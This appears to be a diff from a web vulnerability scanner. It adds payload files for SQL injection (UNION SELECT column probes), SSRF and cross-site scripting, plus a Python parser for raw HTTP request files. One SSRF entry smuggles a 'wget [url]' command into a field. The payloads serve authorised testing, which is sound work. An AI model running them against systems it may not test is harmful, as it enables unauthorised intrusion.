+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
72
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
73
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
74
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
75
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
76
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
77
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
78
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
79
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
80
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
81
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
82
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+"
83
+ ],
84
+ "verify": [
85
+ "[RANDOM_3][RANDOM_3]"
86
+ ],
87
+ "type": "REGEX"
88
+ }
89
+ ]
90
+ }
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Server Side Request Forgery",
3
+ "vuln_code": "SSRF",
4
+ "payloads": [
5
+ {
6
+ "payload": "[URL]",
7
+ "verify": [
8
+ "foo"
9
+ ],
10
+ "type": "request"
11
+ },
12
+ {
13
+ "payload": "foo || wget [url]",
14
+ "verify": [
15
+ "foo"
16
+ ],
17
+ "type": "request"
18
+ }
19
+ ]
20
+ }
@@ -0,0 +1,83 @@
1
+ {
2
+ "description": "Cross Site Scripting",
3
+ "vulnerability": "PTV-WEB-SANIT-OUTPUTENC",
4
+ "payloads": [
5
+ {
6
+ "payload": "'\"><hr>\"'",
7
+ "verify": [
8
+ "foo"
9
+ ],
10
+ "type": "HTML_TAG"
11
+ },
12
+ {
13
+ "payload": "<foo>test</foo>",
14
+ "verify": [
15
+ "foo"
16
+ ],
17
+ "type": "HTML_TAG"
18
+ },
19
+ {
20
+ "payload": "</title></textarea></script>'\"><foo>test</foo>",
21
+ "verify": [
22
+ "foo"
23
+ ],
24
+ "type": "HTML_TAG"
25
+ },
26
+ {
27
+ "payload": "--><foo>test</foo>",
28
+ "verify": [
29
+ "foo"
30
+ ],
31
+ "type": "HTML_TAG"
32
+ },
33
+ {
34
+ "payload": "\"><foo>test</foo>",
35
+ "verify": [
36
+ "foo"
37
+ ],
38
+ "type": "HTML_TAG"
39
+ },
40
+ {
41
+ "payload": "'><foo>test</foo>",
42
+ "verify": [
43
+ "foo"
44
+ ],
45
+ "type": "HTML_TAG"
46
+ },
47
+ {
48
+ "payload": "</title><foo>test</foo>",
49
+ "verify": [
50
+ "foo"
51
+ ],
52
+ "type": "HTML_TAG"
53
+ },
54
+ {
55
+ "payload": "</textarea><foo>test</foo>",
56
+ "verify": [
57
+ "foo"
58
+ ],
59
+ "type": "HTML_TAG"
60
+ },
61
+ {
62
+ "payload": "</script><foo>test</foo>",
63
+ "verify": [
64
+ "foo"
65
+ ],
66
+ "type": "HTML_TAG"
67
+ },
68
+ {
69
+ "payload": "' foo='",
70
+ "verify": [
71
+ "foo"
72
+ ],
73
+ "type": "HTML_ATTR"
74
+ },
75
+ {
76
+ "payload": "\" foo=\"",
77
+ "verify": [
78
+ "foo"
79
+ ],
80
+ "type": "HTML_ATTR"
81
+ }
82
+ ]
83
+ }
File without changes
@@ -0,0 +1,141 @@
1
+ class RequestFileParser:
2
+ def __init__(self, placeholder_char: str, ptjsonlib: object, use_json: bool):
3
+ self.ptjsonlib = ptjsonlib
4
+ self.use_json = use_json
5
+ self.placeholder_char = placeholder_char
6
+ self.host = None
7
+
8
+ def parse_request_file(self, request_file):
9
+ """Parse the provided request file.
10
+
11
+ Args:
12
+ request_file (str): The path to the request file.
13
+
14
+ Returns:
15
+ tuple: A tuple containing the URL, request data, HTTP method, and headers parsed from the request file.
16
+ """
17
+ try:
18
+ headers, request_data = self._initialize_parsing_variables()
19
+ method, path = self._parse_first_line(request_file)
20
+
21
+ # Parse remaining lines for headers and body
22
+ self._parse_lines(request_file, headers, request_data)
23
+
24
+ # Construct URL based on host header
25
+ url = self._construct_url(path)
26
+
27
+ # Check for placeholder character in URL or request data
28
+ self._check_placeholder(url, request_data, headers)
29
+ request_data = ''.join(request_data)
30
+ return url, request_data, method, headers
31
+
32
+ except FileNotFoundError:
33
+ self.ptjsonlib.end_error("Path to request file is not valid", self.use_json)
34
+ except Exception as e:
35
+ self.ptjsonlib.end_error(f"Error parsing request file ({e})", self.use_json)
36
+
37
+ def _initialize_parsing_variables(self):
38
+ """Initialize variables for parsing."""
39
+ headers = {}
40
+ request_data = []
41
+ return headers, request_data
42
+
43
+ def _parse_lines(self, request_file, headers, request_data):
44
+ """Parse the lines of the request file.
45
+
46
+ Args:
47
+ request_file (str): The path to the request file.
48
+ headers (dict): The headers to populate.
49
+ request_data (list): The list to accumulate request data.
50
+ """
51
+ is_body = False
52
+ with open(request_file, "r") as file:
53
+ lines = file.readlines()[1:] # Přeskočit první řádek
54
+
55
+ for line in lines:
56
+ line = line.strip()
57
+ if is_body:
58
+ request_data.append(line)
59
+ else:
60
+ is_body = self._parse_header(line, headers)
61
+
62
+
63
+ def _parse_first_line(self, request_file):
64
+ """Parse the first line of the request file.
65
+
66
+ Args:
67
+ request_file (str): The path to the request file.
68
+
69
+ Returns:
70
+ tuple: The HTTP method and path from the first line.
71
+
72
+ Example:
73
+ If the first line of the request file is:
74
+ GET /search?query=foo HTTP/1.1
75
+ The method would be 'GET' and the path would be '/search?query=foo'.
76
+ """
77
+ with open(request_file, "r") as file:
78
+ first_line = file.readline().strip()
79
+ line_parts = first_line.split()
80
+ if len(line_parts) != 3:
81
+ self.ptjsonlib.end_error("Provided file is not a valid request file", self.use_json)
82
+
83
+ method, path = line_parts[0], line_parts[1]
84
+ return method, path
85
+
86
+ def _parse_header(self, line, headers):
87
+ """Parse a header line.
88
+
89
+ Args:
90
+ line (str): The header line.
91
+ headers (dict): The headers to populate.
92
+
93
+ Returns:
94
+ bool: True if the body starts; False otherwise.
95
+ """
96
+ line_parts = line.split(":", 1)
97
+ if len(line_parts) == 2:
98
+ headers[line_parts[0].strip()] = line_parts[1].strip()
99
+ if line_parts[0].strip().lower() == "host":
100
+ self.host = line_parts[1].strip() # Store the host for URL construction
101
+ elif len(line_parts) == 1 and not line_parts[0]:
102
+ return True # Empty line indicates the start of the body
103
+ return False # Still in headers
104
+
105
+ def _construct_url(self, path):
106
+ """Construct the URL from the path and host.
107
+
108
+ Args:
109
+ path (str): The path from the request file.
110
+
111
+ Returns:
112
+ str: The constructed URL.
113
+ """
114
+ if self.host:
115
+ return f"https://{self.host}{path}"
116
+ else:
117
+ self.ptjsonlib.end_error("Host header is missing in the request file", self.use_json)
118
+
119
+
120
+ def _check_placeholder(self, url, request_data, headers):
121
+ """Check if the placeholder character is present in the URL, request data, or headers.
122
+
123
+ Args:
124
+ url (str): The URL to check.
125
+ request_data (list): The request data to check.
126
+ headers (dict): The headers to check.
127
+ """
128
+ # Check if placeholder in URL
129
+ if self.placeholder_char in url:
130
+ return
131
+
132
+ # Check if placeholder in request data
133
+ if self.placeholder_char in ''.join(request_data):
134
+ return
135
+
136
+ # Check if placeholder in headers
137
+ for header_key, header_value in headers.items():
138
+ if self.placeholder_char in header_key or self.placeholder_char in header_value:
139
+ return
140
+
141
+ self.ptjsonlib.end_error("Placeholder character is required in URL, request data, or headers", self.use_json)